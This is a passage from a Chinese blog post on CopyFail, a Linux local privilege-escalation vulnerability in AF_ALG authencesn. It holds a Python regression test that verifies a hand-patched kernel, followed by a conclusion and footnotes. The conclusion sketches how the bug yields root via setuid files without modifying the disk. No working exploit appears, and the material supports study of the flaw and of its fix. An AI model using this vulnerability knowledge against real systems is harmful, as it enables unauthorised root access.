        return tmp.name
    finally:
        tmp.close()
        os.chmod(tmp.name, 0o444)


def cleanup_temp(path, keep_temp):
    """清理临时文件;排查问题时可通过 --keep-temp 保留现场。"""

    if keep_temp:
        print(f"[保留] 临时文件: {path}")
        return
    try:
        os.chmod(path, 0o600)
        os.unlink(path)
    except FileNotFoundError:
        pass


def test_memory_roundtrip():
    """测试纯内存输入下 authencesn 能否完成加密和解密回环。"""

    log_step("纯内存 AF_ALG 加密/解密回归")

    # AEAD 加密输入为 AAD || 明文,输出预期为 AAD || 密文 || Tag。
    payload = AAD + PLAINTEXT
    sealed = alg_operation_memory(ALG_OP_ENCRYPT, payload, len(payload) + AUTH_SIZE)
    if sealed[:ASSOC_LEN] != AAD:
        raise TestFailure("加密结果中的 AAD 与输入不一致")

    # AEAD 解密输入为 AAD || 密文 || Tag,输出预期恢复为 AAD || 明文。
    opened = alg_operation_memory(ALG_OP_DECRYPT, sealed, len(payload))
    if opened != payload:
        raise TestFailure("纯内存解密结果与原始明文不一致")

    log_ok("authencesn 纯内存加密和解密正常")
    return sealed


def test_splice_decrypt(sealed, keep_temp):
    """测试 splice() 输入路径下 authencesn 解密是否仍然正常。"""

    log_step("splice 输入路径解密回归")
    path = write_temp_file(sealed, keep_temp)
    try:
        # AAD 通过 sendmsg 进入,CT || Tag 通过只读文件 splice 进入。
        # 这会覆盖 CopyFail 修复涉及的 TX scatterlist source 路径。
        opened = alg_decrypt_with_splice(
            AAD,
            path,
            ASSOC_LEN,
            len(sealed) - ASSOC_LEN,
            len(AAD + PLAINTEXT),
        )
        if opened != AAD + PLAINTEXT:
            raise TestFailure("splice 解密结果与原始明文不一致")
        log_ok("splice 输入路径解密正常")
    finally:
        cleanup_temp(path, keep_temp)


def test_failed_decrypt_does_not_change_source(sealed, keep_temp):
    """测试认证失败时 splice 源文件的可见内容不会被改变。"""

    log_step("认证失败时源文件内容保持不变")
    bad = bytearray(sealed)

    # 翻转 Tag 的最后一位,确保认证必然失败,同时保留输入长度和布局不变。
    bad[-1] ^= 0xFF
    path = write_temp_file(bytes(bad), keep_temp)
    before = sha256_file(path)

    try:
        try:
            alg_decrypt_with_splice(AAD, path, ASSOC_LEN, len(bad) - ASSOC_LEN, len(AAD + PLAINTEXT))
        except OSError as exc:
            # AEAD 认证失败通常会在 recv 阶段以 OSError 形式暴露。
            log_ok(f"认证失败按预期返回错误: errno={exc.errno}")
        else:
            raise TestFailure("损坏 Tag 后解密仍然成功,认证检查异常")

        # 修复后的内核即使走到 authencesn 的失败路径,也不应修改 splice 源文件内容。
        after = sha256_file(path)
        if after != before:
            raise TestFailure("认证失败后源文件可见内容发生变化,疑似 page cache 被污染")
        log_ok("认证失败后源文件内容未变化")
    finally:
        cleanup_temp(path, keep_temp)


def main():
    """命令行入口,按从基础能力到修复相关路径的顺序执行所有测试。"""

    parser = argparse.ArgumentParser(
        description="测试 CopyFail 修复后 AF_ALG authencesn 的功能回归和 splice 输入路径"
    )
    parser.add_argument("--keep-temp", action="store_true", help="保留临时测试文件,便于排查失败现场")
    args = parser.parse_args()

    require_linux_afalg()
    log_step(f"探测内核算法: {ALG_NAME}")

    # 单独创建一次 socket,提前暴露算法缺失、模块未加载或权限策略阻止的问题。
    with alg_sock():
        pass
    log_ok("AF_ALG/authencesn 环境可用")

    sealed = test_memory_roundtrip()
    test_splice_decrypt(sealed, args.keep_temp)
    test_failed_decrypt_does_not_change_source(sealed, args.keep_temp)
    print("[完成] 所有 CopyFail 修复后 authencesn 回归测试均通过")


if __name__ == "__main__":
    try:
        main()
    except TestFailure as exc:
        print(f"[失败] {exc}", file=sys.stderr)
        sys.exit(1)

AI写的带注释代码我就不再详细分析了,如果感兴趣可以看一看,不过我认为不看也性,只要是根据稳定分支中的写法进行修改的应该都不会出什么问题24,不过还是建议运行一遍测试。

运行一遍查看结果是否成功:

测试通过,整个修复流程完成。

不过在生产环境下不建议自行修复编译内核,应该优先考虑使用自带的或apt的系统更新功能,或者直接编译Linux官方的稳定版本分支的内核代码25

4. 总结

CopyFail是一个影响范围很广的 Linux 本地提权漏洞,由于其利用方式简单,涉及设备广泛,受影响内核版本多26且不依赖任何特殊条件,直接提高了其严重性。通过该漏洞可以在不修改磁盘文件的情况下获得 root 权限,控制得当的情况下还不会对系统内核运行产生影响,另外,由于最终运行的是ELF可执行文件,即便是不同发行版在相同CPU架构的情况下也大概率可以使用同一个利用脚本进行漏洞利用。

值得注意的是,CopyFail 是一个 AI 辅助安全研究发现的案例。根据 Theori 官方WP的 How We Found It 部分,该漏洞使用 Xint Code 辅助发现,结合最近Claude搞营销把自己营销没的 Claude Fable 527,我个人认为未来很大程度会通过AI来提升旧系统的安全性,通过自动化、规模化的AI代码扫描,自动发现和修复漏洞,对于软件行业来说可能算是一个比较大的好处。但这玩意儿本质上是个双刃剑,既然AI能发现漏洞,那么也有可能被利用作为攻击系统的武器,虽然现在A社和不Open的OpenAI都在强调AI安全性,A社也是净搞些高度敏感肌模型,碰上一点就被屏蔽28,但是也只是对于外部用户来说,谁也没办法知道他们内部是否有不受限制的漏洞发现模型。指不定人家自己已经有一个全部由AI发现的0day漏洞库了呢?而普通人和普通企业没有这种性能的AI,从安全性上反而会受到极大威胁。

这篇文件简单说明了CopyFail这个漏洞的原理和利用流程,并且尝试参考官方提供的方案对内核进行手动修复和验证,本文所有代码都可以在我的Github仓库中找到。

  1. 这段文本引用自Theori官方WP,具体可以看这里↩︎
  2. 提交哈希值为 72548b093ee3,具体改动可以看这里,主要是 crypto/algif_aead.c ↩︎
  3. splice() 系统调用是一种零拷贝技术,它可以将一个文件描述符的数据直接管道化传输到socket中。 ↩︎
  4. AF_ALG 是 Linux 提供给普通用户态程序的socket接口,允许普通用户无需特权就能调用内核的加密引擎。 ↩︎
  5. setuid权限允许用户以文件所有者的权限运行可执行文件,而非以当前执行者的权限运行。 ↩︎
  6. authencesn(hmac(sha256),cbc(aes)) ↩︎
  7. 这4个字节原本是加密协议的序列号防重放标签。 ↩︎
  8. 也就是前面提到的 assoclen 和 cryptlen ↩︎
  9. 这里的永久指的是系统生命周期内,而不是持久化的永久,硬盘内的数据不会改变,重启后就没了。 ↩︎
  10. 在 Unix 权限模型里,如果一个可执行文件满足文件所有者是root并且设置了setuid位,则普通用户执行该文件时内核会在执行过程中把新进程的 effective uid 设置成文件所有者,即root ↩︎
  11. 不同CPU架构因为指令集不同,可能会有所区别。 ↩︎
  12. Real UID 是实际用户ID,即启动改进程的真实用户。 ↩︎
  13. Effective UID 是有效用户ID,系统会通过这个id来判断是否有权限访问某个文件或资源。 ↩︎
  14. Saved UID 是保存用户ID,用于程序执行或特权切换前的EUID备份,便于后续操作恢复权限。 ↩︎
  15. 因为需要4字节4字节地复制。 ↩︎
  16. commit信息上就是这么写的。 ↩︎
  17. 我是把整个流程跑完才来写这篇文章的,当时没做记录,所以如果我记错了的话实际修改的地方可能有偏差。 ↩︎
  18. 减少内存分配、减少数据复制、减少 scatterlist 的维护,不过却产生了一个严重漏洞。 ↩︎
  19. 在上面的从源代码中截图的结构中可以更清晰地理解。 ↩︎
  20. 这个可写入就是最根本的问题发生原因。 ↩︎
  21. 用户的 recvmsg 缓冲区。 ↩︎
  22. 确保你的改动是正确的,多对照检查几遍。 ↩︎
  23. 只要不乱搞肯定是没问题的。 ↩︎
  24. 前提是确保做了完整的修改,部分错误不会在编译时体现出来,而是有可能在运行时导致内核崩溃。 ↩︎
  25. 实际上我在完成这篇文章后,重新下载编译了6.19.12的内核稳定分支代码并安装到系统中,而不是继续使用我修改的内核。 ↩︎
  26. 2017到2026年4月之间的所有内核更新。 ↩︎
  27. 可惜我还没来得及用就给下线了。 ↩︎
  28. 比如上面的测试脚本我本来想让Claude Opus 4.8来写的,结果Claude老是拒绝服务。 ↩︎


学而不思则罔,思而不学则殆